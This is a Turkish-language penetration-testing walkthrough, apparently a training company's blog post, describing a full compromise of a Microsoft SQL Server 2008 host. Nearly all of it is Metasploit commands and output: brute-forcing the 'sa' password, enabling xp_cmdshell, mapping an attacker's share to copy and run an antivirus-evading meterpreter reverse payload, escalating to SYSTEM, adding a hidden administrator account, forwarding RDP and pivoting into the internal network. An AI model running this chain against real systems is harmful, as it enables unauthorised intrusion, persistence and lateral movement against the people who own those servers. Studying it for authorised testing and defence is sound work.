MSSQL Üzerinden (xp_cmdshell) İşletim Sistemine Sızma


Pentest çalışmalarında, amaç hedef sistemi en yüksek yetkiler ile ele geçirmek ve hedef sistemde ilerlemektir.Keşfedilen en küçük zaafiyet, önemli bulgular elde etmenizi sağlayabilir. Bu yazıda, bir pentest çalışmasından kazanılan tecrübeler aktarılmıştır.

Ayrıca, sistemleri internet dünyasına açık ve güvenlik politikası olmayan firmalardan, saldırganların ele geçirdikleri şirket verilerini rüşvet ve şantaj amaçlı kullandıklarınıda basında sık sık yer almaktadır.

Mssql Servisinin Belirlenmesi,

# sudo nmap -sT -sV 9.1.1.1 -p 1433 -PN

Starting Nmap 5.21 ( http://nmap.org ) at 2012-01-29 21:53 EET

Nmap scan report for 9.1.1.1.dynamic.ttnet.com.tr (9.1.1.1)
Host is up (0.027s latency).
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2008

Hedef sistemde  Microsoft SQL Server 2008 servisi çalışıyor.

Mssql sunucularda en yetkili kullanıcı  “sa” dir. Bu hesab ile, mssql server en yüksek yetkilerle yönetilebilir.

“sa” hesabına yönelik brute force denemesi

Hedef sistemde, Mssql 2008 çalışmakta ve “sa” kullanıcı hesabı ile kimlik doğrulama yapılabilmektedir.

Brute force ile parola deneme saldırısı

#msfconsole

msf > use auxiliary/scanner/mssql/mssql_login

msf auxiliary(mssql_login) > set RHOSTS 9.1.1.1
RHOSTS => 9.1.1.1

msf auxiliary(mssql_login) > set USERPASS_FILE /home/ozanus/pass.lst
USERPASS_FILE => /home/ozanus/pass.lst

msf  auxiliary(mssql_login) > exploit

[*] 9.1.1.1:1433 MSSQL – [01/13] – Trying username:’sa’ with password:”
[-] 9.1.1.1:1433 MSSQL – [01/13] – failed to login as ‘sa’


[+] 9.1.1.1:1433 – MSSQL – successful login ‘sa’ : ‘benimgizliparolam’,
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Parola deneme saldırılarına karşı, bir güvenlik politikası yoksa brute force saldırısı ile parola elde edilebilir.

Mssql’den bilgi toplama

Mssql sunucusundan veritabanı ve tablo yapısı, konfigürasyon parametreleri, veritabanı kullanıcıları, mssql’e login olmuş kullanıcı hesapları ve mssql sunucunun çalıştığı işletim sistemindeki kullanıcı hesapları  vb. bilgiler toplanabilir.

msf > use auxiliary/admin/mssql/mssql_enum
msf auxiliary(mssql_enum) > set RHOST 9.1.1.1
RHOST => 9.1.1.1
msf auxiliary(mssql_enum) > set PASSWORD benimgizliparolam
PASSWORD => benimgizliparolam
msf auxiliary(mssql_enum) > exploit

[+] [2012.01.25-15:00:50] Workspace:hedeffirma Progress:1/2 (50%) Probing 9.1.1.1
[*] [2012.01.25-15:00:50] Running MS SQL Server Enumeration…
[*] [2012.01.25-15:00:50] Version:
[*] Microsoft SQL Server 2008 R2 (SP1) – 10.50.2500.0 (X64)
[*] Jun 17 2011 00:54:03
[*] Copyright (c) Microsoft Corporation
[*] Standard Edition (64-bit) on Windows NT 6.0 <X64> (Build 6002: Service Pack 2)
[*] [2012.01.25-15:00:50] Configuration Parameters:
[*] [2012.01.25-15:00:50] C2 Audit Mode is Not Enabled
[*] [2012.01.25-15:00:50] xp_cmdshell is Enabled
[*] [2012.01.25-15:00:50] remote access is Enabled
[*] [2012.01.25-15:00:50] allow updates is Not Enabled
[*] [2012.01.25-15:00:50] Database Mail XPs is Not Enabled
[*] [2012.01.25-15:00:50] Ole Automation Procedures are Not Enabled
[*] [2012.01.25-15:00:50] Databases on the server:
[*] [2012.01.25-15:00:50] Database name:Bga1989
[*] [2012.01.25-15:00:50] Database Files for Bga1989:
[*] [2012.01.25-15:00:51] Z:SQLMSSQLDataBga1989_Data.mdf
[*] [2012.01.25-15:00:51] Z:SQLMSSQLDataBga1989_log.ldf
[*] [2012.01.25-15:00:51] Database name:XYZ_1989
[*] [2012.01.25-15:00:51] Database Files for XYZ_1989:
[*] [2012.01.25-15:00:51] Database name:XYZ_07
[*] [2012.01.25-15:00:51] Database Files for XYZ_07:
[*] [2012.01.25-15:00:51] Database name:XYZ_BGA
[*] [2012.01.25-15:00:51] Database Files for XYZ_BGA:
[*] [2012.01.25-15:00:51] Z:XYZ_DBabcVERILERXYZ_BGAXYZ_BGA.mdf
[*] [2012.01.25-15:00:51] Z:XYZ_DBabcVERILERXYZ_BGAXYZ_BGA.ldf
[*] [2012.01.25-15:00:55] System Logins on this Server:
[*] [2012.01.25-15:00:56] sa
[*] [2012.01.25-15:00:56] ##MS_SQLResourceSigningCertificate##
[*] [2012.01.25-15:00:56] ##MS_SQLReplicationSigningCertificate##
[*] [2012.01.25-15:00:56] ##MS_SQLAuthenticatorCertificate##
[*] [2012.01.25-15:00:56] ##MS_PolicySigningCertificate##
[*] [2012.01.25-15:00:56] ##MS_SmoExtendedSigningCertificate##
[*] [2012.01.25-15:00:56] ##MS_PolicyTsqlExecutionLogin##
[*] [2012.01.25-15:00:56] NT AUTHORITYSYSTEM
[*] [2012.01.25-15:00:56] NT SERVICEMSSQLSERVER
[*] [2012.01.25-15:00:56] HEDEFFIRMAadministrator
[*] [2012.01.25-15:00:56] NT SERVICESQLSERVERAGENT
[*] [2012.01.25-15:00:56]
[*] [2012.01.25-15:00:56] ##MS_PolicyEventProcessingLogin##
[*] [2012.01.25-15:00:56] ##MS_AgentSigningCertificate##
[*] [2012.01.25-15:00:56] Disabled Accounts:
[*] [2012.01.25-15:00:56] ##MS_PolicyTsqlExecutionLogin##
[*] [2012.01.25-15:00:56] ##MS_PolicyEventProcessingLogin##
[*] [2012.01.25-15:00:56] No Accounts Policy is set for:
[*] [2012.01.25-15:00:56] sa
[*] [2012.01.25-15:00:56] Password Expiration is not checked for:
[*] [2012.01.25-15:00:56] sa
[*] [2012.01.25-15:00:56] ##MS_PolicyTsqlExecutionLogin##
[*] [2012.01.25-15:00:56] ##MS_PolicyEventProcessingLogin##
[*] [2012.01.25-15:00:56] System Admin Logins on this Server:
[*] [2012.01.25-15:00:56] sa
[*] [2012.01.25-15:00:56] NT AUTHORITYSYSTEM
[*] [2012.01.25-15:00:56] NT SERVICEMSSQLSERVER
[*] [2012.01.25-15:00:56] HEDEFFIRMAadministrator
[*] [2012.01.25-15:00:56] NT SERVICESQLSERVERAGENT
[*] [2012.01.25-15:00:56] Windows Logins on this Server:
[*] [2012.01.25-15:00:56] NT AUTHORITYSYSTEM
[*] [2012.01.25-15:00:56] HEDEFFIRMAadministrator
[*] [2012.01.25-15:00:56] Windows Groups that can logins on this Server:
[*] [2012.01.25-15:00:56] NT SERVICEMSSQLSERVER
[*] [2012.01.25-15:00:56] NT SERVICESQLSERVERAGENT
[*] [2012.01.25-15:00:56] Accounts with Username and Password being the same:
[*] [2012.01.25-15:00:56] No Account with its password being the same as its username was found.
[*] [2012.01.25-15:00:56] Accounts with empty password:
[*] [2012.01.25-15:00:56] No Accounts with empty passwords where found.
[*] [2012.01.25-15:01:02] Stored Procedures with Public Execute Permission found:
[*] [2012.01.25-15:01:02] sp_replsetsyncstatus
[*] [2012.01.25-15:01:02] sp_replcounters
[*] [2012.01.25-15:01:02] sp_replsendtoqueue
[*] [2012.01.25-15:01:02] sp_resyncexecutesql
[*] [2012.01.25-15:01:02] sp_prepexecrpc
[*] [2012.01.25-15:01:02] sp_repltrans
[*] [2012.01.25-15:01:02] sp_xml_preparedocument
[*] [2012.01.25-15:01:02] xp_qv
[*] [2012.01.25-15:01:02] xp_getnetname
[*] [2012.01.25-15:01:02] sp_releaseschemalock
[*] [2012.01.25-15:01:02] sp_refreshview
[*] [2012.01.25-15:01:02] sp_replcmds
[*] [2012.01.25-15:01:02] sp_unprepare
[*] [2012.01.25-15:01:02] sp_resyncprepare
[*] [2012.01.25-15:01:02] sp_createorphan
[*] [2012.01.25-15:01:02] xp_dirtree
[*] [2012.01.25-15:01:02] sp_replwritetovarbin
[*] [2012.01.25-15:01:02] sp_replsetoriginator
[*] [2012.01.25-15:01:02] sp_xml_removedocument
[*] [2012.01.25-15:01:02] sp_repldone
[*] [2012.01.25-15:01:02] sp_reset_connection
[*] [2012.01.25-15:01:02] xp_fileexist
[*] [2012.01.25-15:01:02] xp_fixeddrives
[*] [2012.01.25-15:01:02] sp_getschemalock
[*] [2012.01.25-15:01:02] sp_prepexec
[*] [2012.01.25-15:01:02] xp_revokelogin
[*] [2012.01.25-15:01:02] sp_resyncuniquetable
[*] [2012.01.25-15:01:02] sp_replflush
[*] [2012.01.25-15:01:02] sp_resyncexecute
[*] [2012.01.25-15:01:02] xp_grantlogin
[*] [2012.01.25-15:01:02] sp_droporphans
[*] [2012.01.25-15:01:02] xp_regread
[*] [2012.01.25-15:01:02] sp_getbindtoken
[*] [2012.01.25-15:01:02] sp_replincrementlsn
[*] [2012.01.25-15:01:02] Instances found on this server:
[*] [2012.01.25-15:01:02] MSSQLSERVER
[*] [2012.01.25-15:01:03] Default Server Instance SQL Server Service is running under the privilege of:
[*] [2012.01.25-15:01:03] HEDEFFIRMAadministrator
[+] [2012.01.25-15:01:03] Workspace:hedeffirma Progress:2/2 (100%) Complete (0 sessions opened) auxiliary/admin/mssql/mssql_enum

Mssql xp_cmdshell ve aktif edilmesi

xp_cmdshell, işletim sisteminde komut çalıştırmayı sağlayan bir özelliktir. Ele geçirdiğimiz mssql server, windows 2008 sunucu üzerinde Administrator yetkileri ile çalışmaktadır. Yetenekli ajanımız “meterpreter”  payload’ını karşı tarafa yükleyip çalıştırmayı başarırsak işletim sistemini ele geçirebiliriz.Bu işletim sistemi üzerinden firmanın yerel ağına ve dmz bölgesindeki tüm bilgisayarlara saldırı yapabiliriz.

Hedef sistemde komut çalıştırmak için mssql xp_cmdshell özelliğini aktif edelim. Bu işlem için, mssql 2008 manager ile hedef sisteme bağlanıp aşağıdaki sorguları çalıştırmanız yeterlidir,

EXEC sp_configure ‘show advanced options’, 1
GO
RECONFIGURE
GO
EXEC sp_configure ‘xp_cmdshell’, 1
GO
RECONFIGURE
GO

xp_cmdshell ile komut çalıştırmak,

Bu işlem için metasploit “mssql_exec”  yardımcı aracını kullanabiliriz. Peki, hedef sistemde cmd.exe ile ne yapabiliriz, cmd.exe ile uzak sistemden dosya çekip  nasıl çalıştırabiliriz ?

Bu işlem için bir çok “post exploition” tekniği mevcuttur, hedef sistemde sahip olduğunuz kullanıcı yetkileri, hedef işletim sisteminde kurulu yazılımlar ve işletim sisteminin internet’e erişim kurabileceği portlara göre değişik teknikler geliştirilmiştir. Benim bu işte pratik olarak kullandığım teknik,  kendi windows sistemimin paylaşımına bağlanıp buradan meterpreter ajanını işletim sistemine kopyalamaktır.

# msfconsole

use auxiliary/admin/mssql/mssql_exec
msf  auxiliary(mssql_exec) > set CMD ‘cmd.exe /c net use o: /USER:Administrator 88.1.1.188c$ parola’
CMD => cmd.exe /c net use o: /USER:Administrator 88.1.1.188c$ parola
msf  auxiliary(mssql_exec) > exploit

Komut çalıştıysa, diski map edebilmiş miyiz bakalım ?..

msf auxiliary(mssql_exec) > set CMD ‘cmd.exe /c net use’
CMD => cmd.exe /c net use
msf auxiliary(mssql_exec) > exploit
[*] SQL Query: EXEC master..xp_cmdshell ‘cmd.exe /c net use’

output

————————————————————————————-

New connections will be remembered.
OK O: 88.1.1.188c$ Microsoft Windows Network
Status Local Remote Network
The command completed successfully.
Unavailable R: 1.1.0.198dosyasunucu Microsoft Windows Network
Unavailable Z: 1.1.0.202d$ Microsoft Windows Network

Evet, diski O: sürü adı olarak hedef sisteme map ettik, şimdi buradaki casus yazılımımızı sisteme kopyalıp çalıştıralım. Bu çalışmada, hedef sistemde Endpoint Security yazılımı çalışmaktadır, meterpreter antivirus ve content filter sistemlere karşı encode edilerek tamamen tanınmaz hale getirilmiştir.

msf auxiliary(mssql_exec) > set CMD ‘cmd.exe /c copy o:80.exe C:80.exe’
CMD => cmd.exe /c copy o:80.exe C:80.exe
msf auxiliary(mssql_exec) > exploit

[*] SQL Query: EXEC master..xp_cmdshell ‘cmd.exe /c copy o:80.exe C:80.exe’

output
——

1 file(s) copied.

[*] Auxiliary module execution completed

 

Listeleyelim, 80.exe ismi ile dosyamız hedef sistemde mi ?

msf auxiliary(mssql_exec) > set CMD ‘cmd.exe /c dir C:80.exe’
msf auxiliary(mssql_exec) > exploit

[*] SQL Query: EXEC master..xp_cmdshell ‘cmd.exe /c dir C:80.exe’

output

——

0 Dir(s) 35,842,772,992 bytes free

1 File(s) 112,399 bytes
Directory of C:
Volume Serial Number is
Volume in drive C has no label.
25.01.2012 20:21 112,399 80.exe

[*] Auxiliary module execution completed

 

Evet, dosyamız hedef sunucuya kopyalanmış. 80.exe çalıştırdığımızda  meterpreter reverse connection kurarak sistemi emrimize sunacaktır.

Post Exploition Teknikleri

Meterpreter ile erişim elde ettikden sonra yapacaklarınızın pek sınırı yok, yetkili bir kullanıcı haklarına sahip değilsek local privilege escalation tekniklerini kullanarak yetki yükseltebiliriz.

meterpreter > getsystem
…got system (via technique 1)

meterpreter > getuid
Server username: NT AUTHORITYSYSTEM

1. teknikde başarılı oldu ve artık SYSTEM yetkiler ile hedef sistemde çalışabiliriz.

Bu aşamadan sonra, sisteme admin haklarına sahip bir kullanıcı ekleyip uzak masaüstü ile bağlantı kurmak

Windows komut satırına geçiş ve kullanıcı hesabı eklemek.

meterpreter > shell
Process 6364 created.
Channel 1 created.
Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.

C:Windowssystem32>net user bga P!ssw0rd /add
net user bga P!ssw0rd /add
The command completed successfully.
C:Windowssystem32>net localgroup Administrators bga /add
net localgroup Administrators bga /add
The command completed successfully.

Port forwarding ile uzak masaüstü erişimi kurmak
Meterpreter’in portfwd özelliği ile, kendi sisteminizdeki bir portu kurban sisteme bind edebilirsiniz.Aşağıdaki örnekde, saldırı yapan 88.1.1.188 ip adresinin  3389 portuna gelen istekler, hedef sistemin 3389 portuna yönlendirilmiştir.

meterpreter > portfwd add -l 3389 -p 3389 -r 1.1.1.111
[*] Local TCP relay created: 0.0.0.0:3389 <-> 1.1.1.111:3389

Bağlantı için,

# rdesktop 88.1.1.188 -k tr -u bga

Uzak sistemin bulunduğu network’deki diğer ip adreslerine erişmek için meterpreter’in route özelliği kullanılabilir. Metasploit hedef sistemi kullanarak diğer sunuculara erişim kurabilir.

meterpreter > route add 1.1.1.0 255.255.255.0 3

Bu aşamadan sonra, metasploit auxiliary ve exploit’lerini uzak sisteme uygulayabilirsiniz.

Yazar:

Ozan UÇAR
ozan.ucar@bga.com.tr

Bu yazıda yer alan araç ve yöntemlerin daha fazlasına “Metasploit Exploitation Framework Pentest” eğitime katılarak öğrenebilirsiniz.

Eğitimle ilgili detay bilgi için lütfen egitim@bga.com.tr adresine e-posta gönderiniz.